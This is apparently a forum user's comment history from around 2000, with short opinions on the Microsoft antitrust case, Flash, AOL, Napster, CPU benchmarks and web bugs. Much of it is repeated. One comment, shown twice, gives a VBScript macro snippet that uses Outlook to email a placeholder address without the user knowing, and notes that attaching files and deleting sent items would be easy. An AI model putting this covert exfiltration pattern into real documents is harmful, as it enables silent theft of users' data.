How would they have to "hand over" their development to Macromedia? It's not like they have to hire Macromedia to develop their site, I'm sure they already have copies of Flash for their developers. If you're referring to the loss of control they would experience by moving to Flash then consider this. The people who would make a decision like switching the site over to Flash have no concept of the difference between an open format such as HTML and a closed one such as Flash.
I'm not saying that these sites will move to Flash, I'm simply saying if they don't it won't be for the reason you are citing.
Could this possibly be used by companies as an excuse NOT to incorporate their technology in W3C standards? Whatever their motivation not to do so might be.
On the website it says that its calendar is compatible with Exchange, but I doubt the actual E-mail portion would be (unless you just treat the Exchange server as a POP3 server). Anyway, there seemed to be very little detail on how it would actually interact in an Exchange environment.
I tend to think that the reason that site stayed up would have to do more with the fact that the major news sites are being pounded thousands of times harder.
First let me say that I agree with what you are saying. The idea is to provide a solution that will benefit consumers not just a petty punishment against Microsoft (and preventing them from releasing software for 5 to 10 years would essentially kill the company). However, a couple things...
Yes, I agree their methods have been shady, underhanded, and despicable. I also agree that their actions border on the criminal.
They don't really BORDER on criminal, they are criminal. They violated anti-trust laws, it's as simple as that.
By the way, has anyone yet noticed that if you are an AOL customer, you don't have a choice in which browser to use?
You can use AOL simply as a gateway to use the Internet, if you use their software then yes you have no choice of browser, but you have a choice as to whether or not to use their software (for browsing anyway, obviously you have to use it to connect).
Almost all the benchmarks I've seen show the Athlon winning by considerable margins clock for clock. Except of course for the Quake III test. Which Intel always wins.
So while I agree that you can't use winning some benchmarks as proof that one processor is better but you can get a good idea if pretty the result is pretty much the same over a fairly large sample size.
If you sold anything anywhere, you're liable under the state laws of California. How long, I wonder, before they start prosecuting people who sell marijuana in Denmark?
They were selling the product in the U.S. And I believe this is a federal law not a state law.
Well, I think the issue is that they were selling the software in the US as well. However, in that case the company should be the target and not the developer.
Microsoft may continue to bundle applications or "new features" but they must publicly announce what applications are to be bundled and give reasonable feature descriptions of those applications at least two years before they appear in any release.
I don't believe it would be fair to impose that kind of limitation on any company. In this industry two years is a very long time. Besides, in developing a product the feature set will most certainly evolve so this would effectively put a two year delay on any product they want to release.
I think the reason people are concerned about these delays is that in the mean time Microsoft can continue to extend its monopoly and cause further harm to the industry.
It may end up that by the time justice has run its course it will be too late. If.NET does what I believe Microsoft wants it to do it may be very difficult to dole out any kind of effective punishment without crippling business on the Internet.
In a slightly less extreme view of things Microsoft is likely to continue to harm competitors and the industry in general during this waiting period.
Maybe there's something I'm missing but I don't see how this will help Palm all that much.
Beyond being able to better integrate the Palm with BeOS (which I would hope was not their motivation) I can't think of what they can do with this that would be useful.
Actually, I don't think that would work. Disabling the error correction would allow you to copy the songs but there would be breaks in the audio (as discussed in the article) which ECC would've corrected in a normal CD player.
How exactly is it going to "fire up the phoneline to your ISP" without your permission. If you're not connected it'll prompt you to dial up just like any other application (assuming you have your system setup that way).
no, i don't think word can upload data. the way the tracking works is to monitor requests for download by reading the web server logs.
a word macro virus could infect all your existing word files so that they would all have web bugs. this would allow the virus writer to presumably know when anyone read your files, but the usefulness of that ability escapes me.
This is slightly off topic but screw it. This can be done rather simply, although it doesn't relate to these so called web bugs. Assuming that we've gotten past the "This document contains macros" warning it's trivial to send out data over the Internet. The easiest way is to use Outlook.
Set App = CreateObject("Outlook.Application")
Set Mes = App.CreateItem(olMailItem)
Mes.Subject = "Blah blah blah"
Mes.To = "someone@somewhere.com"
Mes.Send
This will send the E-mail without the user ever knowing, with a few more lines it could also be deleted from the Sent Items folder. And of course it'd be pretty easy to attach files using this method. Of course it assumes that they actually USE Outlook, but considering the rate at which Melissa and ILOVEYOU spread I don't really think that's much of an issue.
If I remember correctly didn't Microsoft actually rename the part of their os that is "based on" Kerberos? Something like Microsoft Remote Authentication Protocol or some such uninteresting name.
If TimeWarner is willing to do this in meatspace, what would they be willing to do when they get more cyberspace influence as part of the AOL consortium?
I personally don't see Time Warner or for that matter anyone influencing the Internet in this way. The beauty of the Internet is that no one entity can apply this kind of control to it. Might as well say they'd be able to regulate the content of our phone conversations.
I have seen several comments saying things like "Napster is gonna be next." I just don't see this happening. For reasons that have already been explored many many times Napster, in my mind, is reasonably safe. All transfers are between users, nothing goes through Napster. They can continue to claim as they have been that they aren't doing anything wrong, which they aren't. Napster doesn't pirate MP3s, people pirate MP3s. Also considering the reason MP3.com lost was because they had the content on their servers it should be even more readily apparent that Napster will not have similar legal problems.
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How would they have to "hand over" their development to Macromedia? It's not like they have to hire Macromedia to develop their site, I'm sure they already have copies of Flash for their developers. If you're referring to the loss of control they would experience by moving to Flash then consider this. The people who would make a decision like switching the site over to Flash have no concept of the difference between an open format such as HTML and a closed one such as Flash.
I'm not saying that these sites will move to Flash, I'm simply saying if they don't it won't be for the reason you are citing.
Could this possibly be used by companies as an excuse NOT to incorporate their technology in W3C standards? Whatever their motivation not to do so might be.
On the website it says that its calendar is compatible with Exchange, but I doubt the actual E-mail portion would be (unless you just treat the Exchange server as a POP3 server). Anyway, there seemed to be very little detail on how it would actually interact in an Exchange environment.
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I tend to think that the reason that site stayed up would have to do more with the fact that the major news sites are being pounded thousands of times harder.
Yes, I agree their methods have been shady, underhanded, and despicable. I also agree that their actions border on the criminal.
They don't really BORDER on criminal, they are criminal. They violated anti-trust laws, it's as simple as that.
By the way, has anyone yet noticed that if you are an AOL customer, you don't have a choice in which browser to use?
You can use AOL simply as a gateway to use the Internet, if you use their software then yes you have no choice of browser, but you have a choice as to whether or not to use their software (for browsing anyway, obviously you have to use it to connect).
Wouldn't it be Micros~1?
My question is how much of an advantage does software not specifically compiled for 64bit gain?
So while I agree that you can't use winning some benchmarks as proof that one processor is better but you can get a good idea if pretty the result is pretty much the same over a fairly large sample size.
They were selling the product in the U.S. And I believe this is a federal law not a state law.
Well, I think the issue is that they were selling the software in the US as well. However, in that case the company should be the target and not the developer.
I believe the news was that they completed their transformation.
I don't believe it would be fair to impose that kind of limitation on any company. In this industry two years is a very long time. Besides, in developing a product the feature set will most certainly evolve so this would effectively put a two year delay on any product they want to release.
It may end up that by the time justice has run its course it will be too late. If .NET does what I believe Microsoft wants it to do it may be very difficult to dole out any kind of effective punishment without crippling business on the Internet.
In a slightly less extreme view of things Microsoft is likely to continue to harm competitors and the industry in general during this waiting period.
Beyond being able to better integrate the Palm with BeOS (which I would hope was not their motivation) I can't think of what they can do with this that would be useful.
Anyone have any other thoughts?
Someone to feed my family for me.
Actually, I don't think that would work. Disabling the error correction would allow you to copy the songs but there would be breaks in the audio (as discussed in the article) which ECC would've corrected in a normal CD player.
Wow ... You missed it completely.
I got .17 seconds and this response "Nice!" My life is now complete.
I can only assume you didn't read the article.
This is slightly off topic but screw it. This can be done rather simply, although it doesn't relate to these so called web bugs. Assuming that we've gotten past the "This document contains macros" warning it's trivial to send out data over the Internet. The easiest way is to use Outlook.
Set App = CreateObject("Outlook.Application")
Set Mes = App.CreateItem(olMailItem)
Mes.Subject = "Blah blah blah"
Mes.To = "someone@somewhere.com"
Mes.Send
This will send the E-mail without the user ever knowing, with a few more lines it could also be deleted from the Sent Items folder. And of course it'd be pretty easy to attach files using this method. Of course it assumes that they actually USE Outlook, but considering the rate at which Melissa and ILOVEYOU spread I don't really think that's much of an issue.
Now don't get me wrong, I'm not saying that faster compiling isn't good and wouldn't speed up the debugging process.
If I remember correctly didn't Microsoft actually rename the part of their os that is "based on" Kerberos? Something like Microsoft Remote Authentication Protocol or some such uninteresting name.
I personally don't see Time Warner or for that matter anyone influencing the Internet in this way. The beauty of the Internet is that no one entity can apply this kind of control to it. Might as well say they'd be able to regulate the content of our phone conversations.
I have seen several comments saying things like "Napster is gonna be next." I just don't see this happening. For reasons that have already been explored many many times Napster, in my mind, is reasonably safe. All transfers are between users, nothing goes through Napster. They can continue to claim as they have been that they aren't doing anything wrong, which they aren't. Napster doesn't pirate MP3s, people pirate MP3s. Also considering the reason MP3.com lost was because they had the content on their servers it should be even more readily apparent that Napster will not have similar legal problems.